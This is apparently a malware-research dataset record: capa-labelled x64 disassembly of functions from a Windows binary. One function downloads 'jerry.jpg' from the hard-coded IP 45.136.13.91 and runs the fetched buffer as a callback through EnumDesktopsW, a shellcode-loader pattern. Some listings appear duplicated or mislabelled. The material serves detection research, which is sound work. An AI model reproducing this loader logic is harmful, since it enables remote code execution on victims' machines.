joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004d340
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbx, rcx
mov rbp, rdx
mov ecx, 0x30
call fcn.14004f080
xor r15d, r15d
mov rcx, rbx
mov r12, rax
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r15
call fcn.14004d290
movsxd rsi, eax
mov rcx, rsi
call fcn.14004f6d0
lea rdi, [rbx + 0x10]
mov r9, rax
mov r8d, r15d
test rsi, rsi
je 0x14004d3cf
nop dword [rax + rax]
mov rax, qword [rbx]
mov rcx, qword [rdi]
movzx edx, byte [rcx + rax]
xor dl, byte [rbx + 8]
inc rax
mov qword [rbx], rax
mov byte [r9 + r8], dl
inc r8
cmp r8, rsi
jb 0x14004d3b0
mov rcx, rbx
mov qword [r12], r9
mov qword [r12 + 8], rbp
call fcn.14004d290
movsxd rbp, eax
mov r13, 0xffffffffffffffff
mov eax, 8
mov qword [r12 + 0x10], rbp
mul rbp
cmovo rax, r13
mov rcx, rax
call fcn.14004f6d0
mov r14, rax
mov rsi, r15
test rbp, rbp
je 0x14004d42b
nop
mov rdx, r12
mov rcx, rbx
call fcn.14004d340
mov qword [r14 + rsi*8], rax
inc rsi
cmp rsi, rbp
jb 0x14004d410
lea rdi, [rbx + 0x10]
mov rcx, rbx
mov qword [r12 + 0x20], r14
call fcn.14004d290
movsxd rsi, eax
mov eax, 8
mul rsi
mov qword [rsp + 0x58], rsi
mov qword [r12 + 0x18], rsi
cmovo rax, r13
mov rcx, rax
call fcn.14004f6d0
mov r13, rax
mov rbp, r15
test rsi, rsi
je 0x14004d564
nop dword [rax + rax]
mov ecx, 0x20
call fcn.14004f080
mov rcx, rbx
mov r14, rax
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
call fcn.14004d290
movsxd rsi, eax
mov rcx, rsi
call fcn.14004f6d0
mov r9, r15
test rsi, rsi
je 0x14004d4d1
nop word [rax + rax]
mov r8, qword [rbx]
mov rcx, qword [rdi]
movzx edx, byte [rcx + r8]
lea rcx, [r8 + 1]
xor dl, byte [rbx + 8]
mov qword [rbx], rcx
mov byte [rax + r9], dl
inc r9
cmp r9, rsi
jb 0x14004d4b0
mov qword [r14], rax
mov qword [r14 + 8], r12
mov rcx, qword [rbx]
mov rax, qword [rdi]
movzx r15d, byte [rax + rcx]
lea rax, [rcx + 1]
xor r15b, byte [rbx + 8]
mov rcx, rbx
mov qword [rbx], rax
call fcn.14004d290
movsxd rsi, eax
mov qword [r14 + 0x10], rsi
test eax, eax
je 0x14004d54b
lea rcx, [rsi + 1]
call fcn.14004f6d0
xor r9d, r9d
test rsi, rsi
je 0x14004d541
nop dword [rax]
nop word [rax + rax]
mov r8, qword [rbx]
mov rcx, qword [rdi]
movzx edx, byte [rcx + r8]
lea rcx, [r8 + 1]
xor dl, byte [rbx + 8]
mov qword [rbx], rcx
mov byte [rax + r9], dl
inc r9
cmp r9, rsi
jb 0x14004d520
cmp r15b, 1
je 0x14004d54b
mov qword [r14 + 0x18], rax
mov qword [r13 + rbp*8], r14
mov r15d, 0
inc rbp
cmp rbp, qword [rsp + 0x58]
jb 0x14004d470
mov rbx, qword [rsp + 0x50]
mov rax, r12
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov qword [r12 + 0x28], r13
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14004fce4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004fd2e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004fd2e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004fd2e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004fd2e
cmp dword [rcx + 0x84], 0xe
jbe 0x14004fd2e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004fd30
xor al, al
add rsp, 0x28
ret
Function at 0x140001710
Capabilities:
Enumerate gui resources

Disassembly:
mov rax, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x560
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov rax, qword [0x140056c50]
xor rax, rsp
mov qword [rsp + 0x550], rax
mov r13, rcx
mov dword [rsp + 0x48], 8
mov dword [rsp + 0x4c], 0xff
lea rcx, [rsp + 0x48]
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, 0xe8
call fcn.1400020a4
mov rdi, rax
mov dword [rsp + 0x40], 1
xor esi, esi
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov rbx, rax
mov rcx, rdi
call fcn.140001010
test eax, eax
je 0x140001963
mov edx, 8
mov r8d, 0x1000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Opera
call qword [rdi]
mov r14, rax
mov r8d, 0x118
xor r9d, r9d
lea rdx, str.45.136.13.91
mov rcx, rax
call qword [rdi + 0x18]
mov r15, rax
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.jerry.jpg
lea rdx, [0x1400486f8]
mov rcx, rax
call qword [rdi + 0x38]
mov rbp, rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [rdi + 0x58]
xor edx, edx
mov rcx, rbp
call qword [rdi + 0x78]
cmp dword [rsp + 0x40], ebx
jbe 0x1400018b6
nop dword [rax]
mov dword [rsp + 0x44], ebx
mov dword [rsp + 0x40], ebx
lea rdx, [rsp + 0x40]
mov rcx, rbp
call qword [rdi + 0x98]
mov byte [rsp + 0x150], 0
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rsp + 0x151]
call fcn.14002b010
lea r9, [rsp + 0x44]
mov r8d, 0x400
lea rdx, [rsp + 0x150]
mov rcx, rbp
call qword [rdi + 0xa8]
mov ebx, dword [rsp + 0x44]
mov r8, rbx
mov ecx, esi
add rcx, r12
lea rdx, [rsp + 0x150]
call fcn.14002b380
add esi, ebx
cmp dword [rsp + 0x40], 0
mov ebx, 0
ja 0x140001840
mov rcx, rbp
call qword [rdi + 0xc8]
mov rcx, r15
call qword [rdi + 0xc8]
mov rcx, r14
call qword [rdi + 0xc8]
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
mov rcx, rax
xor r8d, r8d
mov rdx, r12
call qword [sym.imp.USER32.dll_EnumDesktopsW]
mov rcx, r13
call fcn.140002760
xor ecx, ecx
call fcn.140004298
lea rdx, [0x140048700]
mov rcx, r13
call fcn.140004b04
xor r8d, r8d
lea edx, [r8 + 0x66]
lea rcx, [rsp + 0x60]
call fcn.140004eb0
nop
lea rax, vtable.CMFCDlg.0
mov qword [rsp + 0x60], rax
call fcn.140008904
call fcn.140008904
mov edx, 0x80
mov rcx, qword [rax + 0x18]
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x60]
mov qword [r13 + 0x40], rax
lea rcx, [rsp + 0x60]
call fcn.1400057f4
nop
lea rcx, [rsp + 0x60]
call fcn.140004ddc
xor eax, eax
mov rcx, qword [rsp + 0x550]
xor rcx, rsp
call fcn.140029930
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140001cd0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_640
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xb0], rdx
test rdx, 0xffffffffffff0000
jne 0x140005b8f
cmp dword [rcx + 0xa8], 0
jne 0x140005b8f
movzx eax, dx
mov dword [rcx + 0xa8], eax
call fcn.140008904
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.140005af4
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140001d00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001d33
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001d77
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140001d72
cmp rbx, r11
jae 0x140001d77
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140001d60
cmp rbx, r11
jb 0x140001d7b
xor eax, eax
jmp 0x140001d87
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140003b50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor esi, esi
xor ebx, ebx
mov r12, r9
mov rdi, r8
mov rbp, rdx
mov r14, rcx
test r8, r8
je 0x140003bc2
call fcn.140008904
mov r8d, pe_nt_image_headers64
mov rdx, rdi
mov r13, qword [rax + 0x18]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x140003bc2
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x140003c0f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov edi, 1
test rsi, rsi
je 0x140003bef
mov r10, qword [r14]
mov r9, r12
mov r8, rsi
mov rdx, rbp
mov rcx, r14
call qword [r10 + 0x40]
mov edi, eax
test rbx, rbx
je 0x140003bef
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
cmp qword [rbp + 0x98], 0
je 0x140003c0d
mov rcx, qword [rbp + 0x98]
mov rdx, r12
mov r8, qword [rcx]
call qword [r8 + 0x140]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
Function at 0x140005b50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_640
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xb0], rdx
test rdx, 0xffffffffffff0000
jne 0x140005b8f
cmp dword [rcx + 0xa8], 0
jne 0x140005b8f
movzx eax, dx
mov dword [rcx + 0xa8], eax
call fcn.140008904
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.140005af4
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14000a8ac
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.140012edc
mov rsi, rax
test rax, rax
je 0x14000a928
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x14000a923
cmp dword [rbx], 0x40
jb 0x14000a923
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x14000a923
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x14000a92c
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140010e28
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x140010e90
call fcn.140008904
mov r8d, pe_nt_image_headers64
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x140010e90
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x140010eb2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.140010840
mov esi, eax
test rdi, rdi
je 0x140010eb0
test rbx, rbx
je 0x140010eb0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x14001256c
Capabilities:
Get graphical window text

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
movsxd rsi, r8d
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0xa0], 0
jne 0x1400125aa
mov r8d, esi
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x14001265e
call fcn.140008c88
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x1400125c9
mov ecx, 0x80004005
call fcn.140002070
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov rcx, qword [rbx + 0xa0]
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
call qword [rax + 0x118]
mov rdx, rsi
or rsi, 0xffffffffffffffff
mov r9, rsi
mov r8, qword [rsp + 0x40]
mov rcx, rdi
call fcn.14002b92c
test eax, eax
je 0x140012631
cmp eax, 0xc
je 0x14001262b
cmp eax, 0x16
je 0x140012625
cmp eax, 0x22
je 0x140012625
cmp eax, 0x50
je 0x140012631
call fcn.140009770
int3
call fcn.140009770
int3
call fcn.140009728
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x14001265c
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.oledlg.dll_OleUIBusyA + 8]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x14002a840
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.14003035c
nop
cmp dword [0x14005bea0], 1
je 0x14002a7ec
mov dword [0x14005be9c], 1
mov byte [0x14005be98], r12b
test ebx, ebx
jne 0x14002a7d8
mov rcx, qword [0x14005e130]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14002a7c5
mov rcx, qword [0x14005e128]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x14002a764
call fcn.14002d3c8
cmp qword [rdi], rax
jne 0x14002a764
jmp 0x14002a74a
cmp rdi, rsi
jb 0x14002a7c5
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.14002d3c8
mov qword [rdi], rax
call rbx
mov rcx, qword [0x14005e130]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x14005e128]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14002a7a3
cmp r13, rax
je 0x14002a7c3
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x14002a74a
lea rdx, [0x14003fc28]
lea rcx, [0x14003fc10]
call fcn.14002a594
lea rdx, [0x14003fc38]
lea rcx, [0x14003fc30]
call fcn.14002a594
nop
test r12d, r12d
je 0x14002a7fb
mov ecx, 8
call fcn.14003025c
test r12d, r12d
jne 0x14002a826
mov dword [0x14005bea0], 1
lea ecx, [r12 + 8]
call fcn.14003025c
mov ecx, r15d
call fcn.14002a528
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x14002a6b4

Function at 0x14002a84c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14002a6b4
Function at 0x14002d31b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140056c50]
jne 0x14002994a
rol rcx, 0x10
test cx, 0xffff
jne 0x140029946
repz ret
ror rcx, 0x10
jmp 0x14002d274
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14005bf50]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14005c048]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14002d2f9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14005bf50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14002d31b
mov rax, qword [rsp + 0x88]
mov qword [0x14005c048], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14005bfe8], rax
mov rax, qword [0x14005c048]
mov qword [0x14005bec0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14005bfd0], rax
mov dword [0x14005beb0], 0xc0000409
mov dword [0x14005beb4], 1
mov rax, qword [0x140056c50]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140056c58]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14005bf48], eax
mov ecx, 1
call fcn.1400352ec
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140046270]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14005bf48], 0
jne 0x14002d3a2
mov ecx, 1
call fcn.1400352ec
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140035390
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.14002d3c8
xor ebx, ebx
mov rdi, rax
cmp qword [0x14005cc90], rbx
jne 0x140035496
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14003556b
lea rdx, [0x140047480]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14003556b
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x140047470]
mov rcx, rsi
mov qword [0x14005cc90], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x140047458]
mov rcx, rsi
mov qword [0x14005cc98], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x14005cca0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x14005ccb0], rax
test rax, rax
je 0x14003548d
lea rdx, [0x140047420]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x14005cca8], rax
jmp 0x14003549d
mov rax, qword [0x14005cca8]
jmp 0x1400354a4
mov rax, qword [0x14005cca8]
mov r11, qword [0x14005ccb0]
cmp rax, rdi
je 0x14003550c
cmp r11, rdi
je 0x14003550c
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x14005ccb0]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14003550c
test rax, rax
je 0x14003550c
call rsi
test rax, rax
je 0x140035506
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140035506
test byte [rsp + 0x38], 1
jne 0x14003550c
bts ebp, 0x15
jmp 0x14003554a
mov rcx, qword [0x14005cc98]
cmp rcx, rdi
je 0x14003554a
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14003554a
call rax
mov rbx, rax
test rax, rax
je 0x14003554a
mov rcx, qword [0x14005cca0]
cmp rcx, rdi
je 0x14003554a
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14003554a
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14005cc90]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14003556b
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14003556d
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140004580
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, rdx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x1400045ae
mov r8, rdx
mov rdx, qword [rbx]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x140005670
cmp byte [0x14002b1e0], 0
jne 0x1400045f9
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400045e9
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14002b1d8], rax
mov byte [0x14002b1e0], 1
jmp 0x140004600
mov rax, qword [0x14002b1d8]
mov byte [0x14002b1e0], 1
jmp 0x140004600
mov rax, qword [0x14002b1d8]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x14000461f
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x1400056e4
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005706
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140005706
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rdx, rdi
mov rcx, rsi
call rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rcx + 8], 0
je 0x140005706
mov rdx, rdi
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x40]
mov eax, 1
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x1400053e0
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x14002a050]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r9d, dword [rcx + 8]
xor ebp, ebp
mov rsi, rdx
mov qword [rsp + 0x40], rbp
xor eax, eax
mov qword [rsp + 0x50], rbp
mov r8, rdx
mov qword [rsp + 0x48], rax
mov rdx, qword [rcx]
mov rdi, rcx
or r9d, 0x2001f
mov dword [rsp + 0x48], ebp
lea rcx, [rsp + 0x40]
call fcn.140004f40
mov ebx, eax
test eax, eax
jne 0x1400054f7
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x58], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1400054d1
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.1400053e0
mov ebx, eax
test eax, eax
jne 0x1400054f7
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x58], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140005480
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400054e6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
